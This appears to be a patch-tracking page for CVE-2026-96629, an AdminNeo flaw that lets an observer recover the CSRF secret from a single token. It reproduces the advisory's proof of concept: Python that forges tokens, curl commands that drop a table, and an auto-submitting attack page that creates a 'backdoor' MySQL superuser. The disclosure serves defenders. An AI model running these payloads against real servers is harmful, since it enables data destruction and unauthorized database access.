Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-96629 · GHSA-wm25-49w3-5qrg

AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

Risk score
46/100
CVSS
6.8 v3.1
Published
30 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and for…
Affected
adminneo-org/adminneo (composer) < 5.5.1
Fix
Upgrade adminneo-org/adminneo to 5.5.1 or later.
Exploitation
No known exploitation

Story map

Story map: adminneo-org/adminneoTHE FLAWSTHE FIXCVE-2026-96629AdminNeo: CSRF Token SecretRecoverable from SingleObserved Token, Enabling…CVSS 6.8CVE-2026-96631AdminNeo has Cookie AttributeInjection via UnsanitizedX-Forwarded-Prefix in…CVSS 8.2CVE-2026-96632AdminNeo Vulnerable to XSS viaRogue MySQL Server VersionString (CSP Nonce Bypass)CVSS 8.2CVE-2026-59978AdminNeo: version-cache arrayinjection causes persistentdenial of serviceCVSS 7.5Upgrade…5.5.0or later on your release lineWho is exposed{'products': ['AdminNeo'],'packages': [{'ecosystem':'composer', 'name':'adminneo-org/adminneo','vulnerable': '>= 4.6.0, <…AMBER · PATCH THIS WEEKadminneo-org/adminneoAdminNeo versions 4.6.0 to 5.5.0are vulnerable to cookieattribute injection via the`X-Forwarded-Prefix` HTTPheader. An attacker can injectarbitrary cookie attributes,allowing them to expand the…Where it standsPublic proof of conceptCONNECTS TOSame weaknessCWE-330 (CWE-330)10 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

adminneo-org/adminneo: Amber, patch this week. AdminNeo versions 4.6.0 to 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker can inject arbitrary cookie attributes, allowing them to expand the cookie scope to an attacker-controlled domain.

The flaws

  • CVE-2026-96629: AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery (CVSS 6.8)
  • CVE-2026-96631: AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVSS 8.2)
  • CVE-2026-96632: AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass) (CVSS 8.2)
  • CVE-2026-59978: AdminNeo: version-cache array injection causes persistent denial of service (CVSS 7.5)

The fix

Upgrade adminneo-org/adminneo: 5.5.0 or later on your release line

Who is exposed: {'products': ['AdminNeo'], 'packages': [{'ecosystem': 'composer', 'name': 'adminneo-org/adminneo', 'vulnerable': '>= 4.6.0, < 5.5.1'}], 'versions': ['4.6.0', '5.5.0', '5.5.1']}

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 6.8 medium
  • On your watchlist: Composer

Affected packages

PackageEcosystemVulnerableFixed in
adminneo-org/adminneocomposer< 5.5.15.5.1

References

Original description

### Summary AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (`rand(1, 1e6)`), making blind brute-force feasible even without token observation. Originally reported by @az0mb13 in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg) ### Details Token generation in `admin/include/functions.inc.php` lines 1181-1184: ```php function get_token() { $rand = rand(1, 1e6); return ($rand ^ $_SESSION["token"]) . ":$rand"; } ``` Token verification in lines 1189-1192: ```php function verify_token() { list($token, $rand) = explode(":", $_POST["token"]); return ($rand ^ $_SESSION["token"]) == $token; } ``` Session token initialized in `admin/include/auth.inc.php` lines 327 and 385: ```php $_SESSION["token"] = rand(1, 1e6); ``` **Three distinct weaknesses:** 1. **Instant recovery:** The token format `(rand XOR secret):rand` transmits both operands. Recovery is trivial: `secret = masked_value XOR rand`. 2. **Low entropy**: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests. 3. **Loose comparison**: `verify_token()` uses `==` (loose comparison) instead of `===`, enabling PHP type juggling. ### PoC **Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).** **Step 1: Observe a single CSRF token** Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields: ```html <input type='hidden' name='token' value='222277:990527'> ``` Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing. **Step 2: Recover the session secret (instant, 1 XOR operation)** ```python observed = "542273:441804" masked, rand_val = observed.split(":") session_secret = int(masked) ^ int(rand_val) # Result: 817530 ``` The token format is `(rand XOR secret):rand`. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed. **Step 3: Forge unlimited valid CSRF tokens** ```python import random forge_rand = random.randint(1, 1000000) forged = f"{forge_rand ^ session_secret}:{forge_rand}" # Example output: 729376:481370 ``` Each forged token is unique and valid. The attacker can generate as many as needed. **Step 4: Execute arbitrary SQL with the forged token** ```shell # Forged token used to DROP a table the attacker never had a token for: curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=729376:481370" \ --data-urlencode "query=DROP TABLE csrf_victim_table;" \ -d "limit=0" ``` **Step 5: Verify a random wrong token is rejected (control)** ```shell curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=111:222" \ --data-urlencode "query=SELECT 1" -d "limit=1" # Result: "Invalid CSRF token. Send the form again." ``` **Weaponized CSRF attack page** In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo: ```html <html><body> <h1>Click here for free database optimization tips</h1> <!-- Attacker recovered secret 817530 from an observed token --> <!-- Forged token: 729376:481370 --> <iframe style="display:none" name="x"></iframe> <form id="f" method="POST" target="x" action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql="> <input type="hidden" name="token" value="729376:481370"> <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;"> <input type="hidden" name="limit" value="0"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` ### Impact - **Cross-Site Request Forgery** against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server. - An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens. - With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records. - The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

Last activity 30 Oct 2026. Patch Forecast updates every hour.